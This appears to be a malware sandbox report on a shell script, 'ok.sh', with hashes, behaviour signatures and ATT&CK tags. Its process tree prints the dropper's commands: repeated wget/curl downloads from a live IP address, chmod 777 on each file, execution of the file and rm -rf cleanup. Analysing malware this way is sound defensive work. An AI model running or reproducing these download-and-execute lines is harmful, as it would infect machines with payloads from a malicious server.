3641cfe149078057cf4ef3c18560e7b16e5f91548f42276c654bd21c16d09352

Analysis

max time kernel
29s
max time network
31s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/08/2026, 02:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ok.sh
Size 1KB
Sample260820-c265faba82
SHA256 3641cfe149078057cf4ef3c18560e7b16e5f91548f42276c654bd21c16d09352
MD5 1f135456bcf05bdb759f84f55dbfeb66
SHA1 e010158711ffdf2247c2ab4dc9b9f58ebdc5908f
SHA512 d0cc97c34cfb288feb88dc826dd5dcfc4844a6132505d2211620cd6ae7f1ac626f87a4f33436cc9898a544b38e5f86e87d6db640e23ce709e835dee17e06243d
TLSH
T177316FDA00111A361102DE4E77A6705CA64DB2FB394FD7E48C5C4EEC86897CCF691B6D
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
846	chmod
855	chmod
876	chmod
895	chmod
741	chmod
759	chmod
805	chmod
829	chmod
839	chmod
752	chmod
766	chmod
788	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/456417	743	ok.sh
/tmp/573976	753	ok.sh
/tmp/279fe0	760	ok.sh
/tmp/c72382	768	ok.sh
/tmp/b3679a	789	ok.sh
/tmp/0b1663	807	ok.sh
/tmp/515c80	831	ok.sh
/tmp/49fa35	840	ok.sh
/tmp/9dfbc4	847	ok.sh
/tmp/0db2ec	856	ok.sh
/tmp/c515ee	877	ok.sh
/tmp/8ac363	896	ok.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/49fa35	curl
File opened for modification	/tmp/9dfbc4	curl
File opened for modification	/tmp/0db2ec	curl
File opened for modification	/tmp/c515ee	curl
File opened for modification	/tmp/8ac363	curl
File opened for modification	/tmp/456417	curl
File opened for modification	/tmp/573976	curl
File opened for modification	/tmp/279fe0	curl
File opened for modification	/tmp/b3679a	curl
File opened for modification	/tmp/0b1663	curl
File opened for modification	/tmp/515c80	curl
File opened for modification	/tmp/c72382	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:715
- /usr/bin/wget
  wget http://5.182.210.174/456417
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://5.182.210.174/456417
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 456417
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/456417
  ./456417 bc
  2⤵
  PID:743
- /bin/rm
  rm -rf 456417
  2⤵
  PID:745
- /bin/rm
  rm -rf 456417.1
  2⤵
  PID:747
- /usr/bin/wget
  wget http://5.182.210.174/573976
  2⤵
  PID:748
- /usr/bin/curl
  curl -O http://5.182.210.174/573976
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod 777 573976
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/573976
  ./573976 bc
  2⤵
  PID:753
- /bin/rm
  rm -rf 573976
  2⤵
  PID:755
- /bin/rm
  rm -rf 573976.1
  2⤵
  PID:756
- /usr/bin/wget
  wget http://5.182.210.174/279fe0
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://5.182.210.174/279fe0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 279fe0
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/279fe0
  ./279fe0 bc
  2⤵
  PID:760
- /bin/rm
  rm -rf 279fe0
  2⤵
  PID:762
- /bin/rm
  rm -rf 279fe0.1
  2⤵
  PID:763
- /usr/bin/wget
  wget http://5.182.210.174/c72382
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://5.182.210.174/c72382
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod 777 c72382
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/c72382
  ./c72382 bc
  2⤵
  PID:768
- /bin/rm
  rm -rf c72382
  2⤵
  PID:771
- /bin/rm
  rm -rf c72382.1
  2⤵
  PID:772
- /usr/bin/wget
  wget http://5.182.210.174/b3679a
  2⤵
  PID:773
- /usr/bin/curl
  curl -O http://5.182.210.174/b3679a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/chmod
  chmod 777 b3679a
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/b3679a
  ./b3679a bc
  2⤵
  PID:789
- /bin/rm
  rm -rf b3679a
  2⤵
  PID:792
- /bin/rm
  rm -rf b3679a.1
  2⤵
  PID:793
- /usr/bin/wget
  wget http://5.182.210.174/0b1663
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://5.182.210.174/0b1663
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod 777 0b1663
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/0b1663
  ./0b1663 bc
  2⤵
  PID:807
- /bin/rm
  rm -rf 0b1663
  2⤵
  PID:809
- /bin/rm
  rm -rf 0b1663.1
  2⤵
  PID:810
- /usr/bin/wget
  wget http://5.182.210.174/515c80
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://5.182.210.174/515c80
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 515c80
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/515c80
  ./515c80 bc
  2⤵
  PID:831
- /bin/rm
  rm -rf 515c80
  2⤵
  PID:833
- /bin/rm
  rm -rf 515c80.1
  2⤵
  PID:834
- /usr/bin/wget
  wget http://5.182.210.174/49fa35
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://5.182.210.174/49fa35
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/chmod
  chmod 777 49fa35
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/49fa35
  ./49fa35 bc
  2⤵
  PID:840
- /bin/rm
  rm -rf 49fa35
  2⤵
  PID:842
- /bin/rm
  rm -rf 49fa35.1
  2⤵
  PID:843
- /usr/bin/wget
  wget http://5.182.210.174/9dfbc4
  2⤵
  PID:844
- /usr/bin/curl
  curl -O http://5.182.210.174/9dfbc4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:845
- /bin/chmod
  chmod 777 9dfbc4
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/9dfbc4
  ./9dfbc4 bc
  2⤵
  PID:847
- /bin/rm
  rm -rf 9dfbc4
  2⤵
  PID:849
- /bin/rm
  rm -rf 9dfbc4.1
  2⤵
  PID:850
- /usr/bin/wget
  wget http://5.182.210.174/0db2ec
  2⤵
  PID:851
- /usr/bin/curl
  curl -O http://5.182.210.174/0db2ec
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 0db2ec
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/0db2ec
  ./0db2ec bc
  2⤵
  PID:856
- /bin/rm
  rm -rf 0db2ec
  2⤵
  PID:859
- /bin/rm
  rm -rf 0db2ec.1
  2⤵
  PID:861
- /usr/bin/wget
  wget http://5.182.210.174/c515ee
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://5.182.210.174/c515ee
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 c515ee
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/c515ee
  ./c515ee bc
  2⤵
  PID:877
- /bin/rm
  rm -rf c515ee
  2⤵
  PID:880
- /bin/rm
  rm -rf c515ee.1
  2⤵
  PID:881
- /usr/bin/wget
  wget http://5.182.210.174/8ac363
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://5.182.210.174/8ac363
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/chmod
  chmod 777 8ac363
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/8ac363
  ./8ac363 bc
  2⤵
  PID:896
- /bin/rm
  rm -rf 8ac363
  2⤵
  PID:898
- /bin/rm
  rm -rf 8ac363.1
  2⤵
  PID:900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

456417

Path /tmp/456417
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download